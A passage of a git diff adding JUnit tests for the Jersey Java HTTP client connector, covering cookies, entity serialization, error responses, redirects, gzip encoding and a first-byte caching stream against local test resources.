+        Response response = this.requestWithEntity("java-connector/echo", "POST", Entity.text("Echo"));
+        assertThat(response.getStatus()).isEqualTo(200);
+        assertThatCode(() -> {
+            assertThat(response.readEntity(String.class)).isEqualTo("Echo");
+        }).doesNotThrowAnyException();
+    }
+
+    /**
+     * Checks with an octet stream entity.
+     */
+    @Test
+    public void testByteArrayEntity() {
+        String test = "test-string";
+        Response response = this.requestWithEntity("java-connector/echo-byte-array", "POST",
+                Entity.entity(test.getBytes(StandardCharsets.UTF_8), MediaType.APPLICATION_OCTET_STREAM_TYPE));
+        assertThat(response.getStatus()).isEqualTo(200);
+        assertThatCode(() -> {
+            assertThat(response.readEntity(byte[].class))
+                    .satisfies(bytes -> assertThat(new String(bytes, StandardCharsets.UTF_8)).isEqualTo("test-string"));
+        }).doesNotThrowAnyException();
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/CookieTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/CookieTest.java
new file mode 100644
index 0000000..31eda93
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/CookieTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.net.CookieManager;
+import java.util.Collections;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class CookieTest extends JerseyTest {
+
+private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+@Path("/")
+public static class CookieResource {
+    @GET
+    public Response get(@Context HttpHeaders h) {
+        Cookie c = h.getCookies().get("name");
+        String e = (c == null) ? "NO-COOKIE" : c.getValue();
+        return Response.ok(e)
+                .cookie(new NewCookie("name", "value")).build();
+    }
+}
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(CookieResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Test
+    public void testCookieResource() {
+        ClientConfig config = new ClientConfig();
+        config.property(JavaNetHttpClientProperties.COOKIE_HANDLER, new CookieManager());
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+        client.close();
+    }
+
+    @Test
+    public void testDisabledCookies() throws IOException {
+        ClientConfig cc = new ClientConfig();
+        cc.property(JavaNetHttpClientProperties.DISABLE_COOKIES, true);
+        cc.property(JavaNetHttpClientProperties.COOKIE_HANDLER, new CookieManager());
+        cc.connectorProvider(new JavaNetHttpConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+
+        CookieManager manager = new CookieManager();
+        manager.getCookieStore().getCookies();
+
+        final JavaNetHttpConnector connector = (JavaNetHttpConnector) client.getConfiguration().getConnector();
+
+        if (connector.getCookieHandler() != null) {
+            assertTrue(connector.getCookieHandler().get(getBaseUri(), Collections.emptyMap()).get("Cookie").isEmpty());
+        } else {
+            assertNull(connector.getCookieHandler());
+        }
+        client.close();
+    }
+
+    @Test
+    public void testCookies() throws IOException {
+        ClientConfig cc = new ClientConfig();
+        final CookieManager manager = new CookieManager();
+        cc.property(JavaNetHttpClientProperties.COOKIE_HANDLER, manager);
+        cc.connectorProvider(new JavaNetHttpConnectorProvider());
+        JerseyClient client = JerseyClientBuilder.createClient(cc);
+        WebTarget r = client.target(getBaseUri());
+
+        assertEquals("NO-COOKIE", r.request().get(String.class));
+        assertEquals("value", r.request().get(String.class));
+
+        final JavaNetHttpConnector connector = (JavaNetHttpConnector) client.getConfiguration().getConnector();
+        assertNotNull(connector.getCookieHandler());
+        assertEquals(1, connector.getCookieHandler().get(getBaseUri(), Collections.emptyMap()).size());
+        assertEquals("value", manager.getCookieStore().getCookies().get(0).getValue());
+        client.close();
+    }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/EntityTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/EntityTest.java
new file mode 100644
index 0000000..f1af21c
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/EntityTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.xml.bind.annotation.XmlRootElement;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+
+public class EntityTest  extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class EntityResource {
+
+        @GET
+        public Person get() {
+            return new Person("John", "Doe");
+        }
+
+        @POST
+        public Person post(Person entity) {
+            return entity;
+        }
+
+    }
+
+    @XmlRootElement
+    public static class Person {
+
+        private String firstName;
+        private String lastName;
+
+        public Person() {
+            //For JAXB processing
+        }
+
+        public Person(String firstName, String lastName) {
+            this.firstName = firstName;
+            this.lastName = lastName;
+        }
+
+        public String getFirstName() {
+            return firstName;
+        }
+
+        public void setFirstName(String firstName) {
+            this.firstName = firstName;
+        }
+
+        public String getLastName() {
+            return lastName;
+        }
+
+        public void setLastName(String lastName) {
+            this.lastName = lastName;
+        }
+
+        @Override
+        public String toString() {
+            return firstName + " " + lastName;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JavaNetHttpConnectorProvider())
+        .register(JacksonFeature.class);
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+                .post(Entity.xml(new Person("John", "Doe"))).get();
+        Person person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+                .get();
+        person = response.readEntity(Person.class);
+        assertEquals("John Doe", person.toString());
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ErrorTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ErrorTest.java
new file mode 100644
index 0000000..960f063
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/ErrorTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ErrorTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(ErrorResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+
+    @Path("/test")
+    public static class ErrorResource {
+        @POST
+        public Response post(String entity) {
+            return Response.serverError().build();
+        }
+
+        @Path("entity")
+        @POST
+        public Response postWithEntity(String entity) {
+            return Response.serverError().entity("error").build();
+        }
+    }
+
+    @Test
+    public void testPostError() {
+        final WebTarget target = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            final Response resp = target.request().post(Entity.text("POST"));
+            assertEquals(500, resp.getStatus());
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntity() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorAsync() throws ExecutionException, InterruptedException {
+        final WebTarget target = target("test");
+
+        final List<Future<Response>> responses = new ArrayList<>(100);
+
+        for (int i = 0; i < 100; i++) {
+                responses.add(target.request().async().post(Entity.text("POST")));
+        }
+        for (int i = responses.size() - 1; i >= 0;) {
+            if (responses.get(i).isDone()) {
+                assertEquals(500, responses.remove(i).get().getStatus());
+                i--;
+            }
+        }
+    }
+
+    @Test
+    public void testPostErrorWithEntityAsync() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 100; i++) {
+            try {
+                r.request().async().post(Entity.text("POST"));
+            } catch (ClientErrorException ex) {
+                String s = ex.getResponse().readEntity(String.class);
+                assertEquals("error", s);
+            }
+        }
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java
new file mode 100644
index 0000000..d645018
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FirstByteCachingStreamTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.lang.reflect.Constructor;
+
+class FirstByteCachingStreamTest {
+    private static InputStream createFirstByteCachingStream(InputStream inner) throws Exception {
+        Class[] classes = JavaNetHttpConnector.class.getDeclaredClasses();
+        for (Class<?> clazz : classes) {
+            if (clazz.getName().contains("FirstByteCachingStream")) {
+                Constructor constructor = clazz.getDeclaredConstructor(InputStream.class);
+                constructor.setAccessible(true);
+                return (InputStream) constructor.newInstance(inner);
+            }
+        }
+        throw new IllegalArgumentException("JavaNetHttpConnector inner class FirstByteCachingStream not found");
+    }
+
+    @Test
+    void testNoByte() throws Exception {
+        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[0]);
+        InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+        Assertions.assertEquals(0, testIs.available());
+    }
+
+    @Test
+    void testOneByte() throws Exception {
+        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A'});
+        InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+        Assertions.assertEquals(1, testIs.available());
+        Assertions.assertEquals(1, testIs.available()); // idempotency
+        Assertions.assertEquals('A', testIs.read());
+        Assertions.assertEquals(0, testIs.available());
+    }
+
+    @Test
+    void testOneByteInArray() throws Exception {
+        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A'});
+        InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+        Assertions.assertEquals(1, testIs.available());
+
+        byte[] bytes = new byte[1];
+        int l = testIs.read(bytes);
+        Assertions.assertEquals(1, l);
+        Assertions.assertEquals('A', bytes[0]);
+        Assertions.assertEquals(0, testIs.available());
+    }
+
+    @Test
+    void testTwoBytes() throws Exception {
+        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A', 'B'});
+        InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+        Assertions.assertEquals(2, testIs.available());
+        Assertions.assertEquals(2, testIs.available()); // idempotency
+        Assertions.assertEquals('A', testIs.read());
+        Assertions.assertEquals(1, testIs.available());
+        Assertions.assertEquals(1, testIs.available()); // idempotency
+        Assertions.assertEquals('B', testIs.read());
+        Assertions.assertEquals(0, testIs.available());
+    }
+
+    @Test
+    void testTwoBytesReadAtOnce() throws Exception {
+        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(new byte[]{'A', 'B'});
+        InputStream testIs = createFirstByteCachingStream(byteArrayInputStream);
+        Assertions.assertEquals(2, testIs.available());
+
+        byte[] bytes = new byte[2];
+        int l = testIs.read(bytes);
+        Assertions.assertEquals(2, l);
+        Assertions.assertEquals('A', bytes[0]);
+        Assertions.assertEquals('B', bytes[1]);
+        Assertions.assertEquals(0, testIs.available());
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FollowRedirectsTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FollowRedirectsTest.java
new file mode 100644
index 0000000..f6432a3
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/FollowRedirectsTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+
+public class FollowRedirectsTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+    @Path("/test")
+    public static class RedirectResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("redirect")
+        public Response redirect() {
+            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(RedirectResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+    private static class RedirectTestFilter implements ClientResponseFilter {
+        public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+        @Override
+        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+            if (responseContext instanceof ClientResponse) {
+                ClientResponse clientResponse = (ClientResponse) responseContext;
+                responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+            }
+        }
+    }
+
+    @Test
+    public void testDoFollow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        Response r = t.path("test/redirect")
+                .register(RedirectTestFilter.class)
+                .request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+// TODO uncomment as part of JERSEY-2388 fix.
+//        assertEquals(
+//                UriBuilder.fromUri(getBaseUri()).path(RedirectResource.class).build().toString(),
+//                r.getHeaderString(RedirectTestFilter.RESOLVED_URI_HEADER));
+
+        c.close();
+    }
+
+    @Test
+    public void testDoFollowPerRequestOverride() {
+        WebTarget t = target("test/redirect");
+        t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+        Response r = t.request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testDontFollow() {
+        WebTarget t = target("test/redirect");
+        assertEquals(303, t.request().get().getStatus());
+    }
+
+    @Test
+    public void testDontFollowPerRequestOverride() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+        Client client = ClientBuilder.newClient(config);
+        WebTarget t = client.target(u);
+        t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+        Response r = t.path("test/redirect").request().get();
+        assertEquals(303, r.getStatus());
+        client.close();
+    }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/GZIPContentEncodingTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/GZIPContentEncodingTest.java
new file mode 100644
index 0000000..8d94f25
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class GZIPContentEncodingTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(GZIPContentEncodingTest.class.getName());
+
+    @Path("/")
+    public static class Resource {
+
+        @POST
+        public byte[] post(byte[] content) {
+            return content;
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(Resource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.register(GZipEncoder.class);
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target();
+        byte[] content = new byte[1024 * 1024];
+        content[0] = 1;
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+        assertTrue(cr.hasEntity());
+        cr.close();
+    }
+
+    @Test
+    public void testPostChunked() {
+        ClientConfig config = new ClientConfig();
+        config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+        Client client = ClientBuilder.newClient(config);
+        WebTarget r = client.target(getBaseUri());
+
+        byte[] content = new byte[1024 * 1024];
+        assertTrue(Arrays.equals(content,
+                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+        Response cr = r.request().post(Entity.text("POST"));
+        assertTrue(cr.hasEntity());
+        cr.close();
+
+        client.close();
+    }
+
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HelloWorldTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HelloWorldTest.java
new file mode 100644
index 0000000..5143ec7
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/HelloWorldTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HelloWorldTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+    private static final String ROOT_PATH = "helloworld";
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JavaNetHttpConnectorProvider());
+    }
+
+    @Test
+    public void testConnection() {
+        Response response = target().path(ROOT_PATH).request("text/plain").get();
+        assertEquals(200, response.getStatus());
+    }
+
+    @Test
+    public void testClientStringResponse() {
+        String s = target().path(ROOT_PATH).request().get(String.class);
+        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+    }
+
+    @Test
+    public void testAsyncClientRequests() throws InterruptedException {
+        final int REQUESTS = 20;
+        final CountDownLatch latch = new CountDownLatch(REQUESTS);
+        final long tic = System.currentTimeMillis();
+        for (int i = 0; i < REQUESTS; i++) {
+            final int id = i;
+            target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
+                @Override
+                public void completed(Response response) {
+                    try {
+                        final String result = response.readEntity(String.class);
+                        assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+                    } finally {
+                        latch.countDown();
+                    }
+                }
+
+                @Override
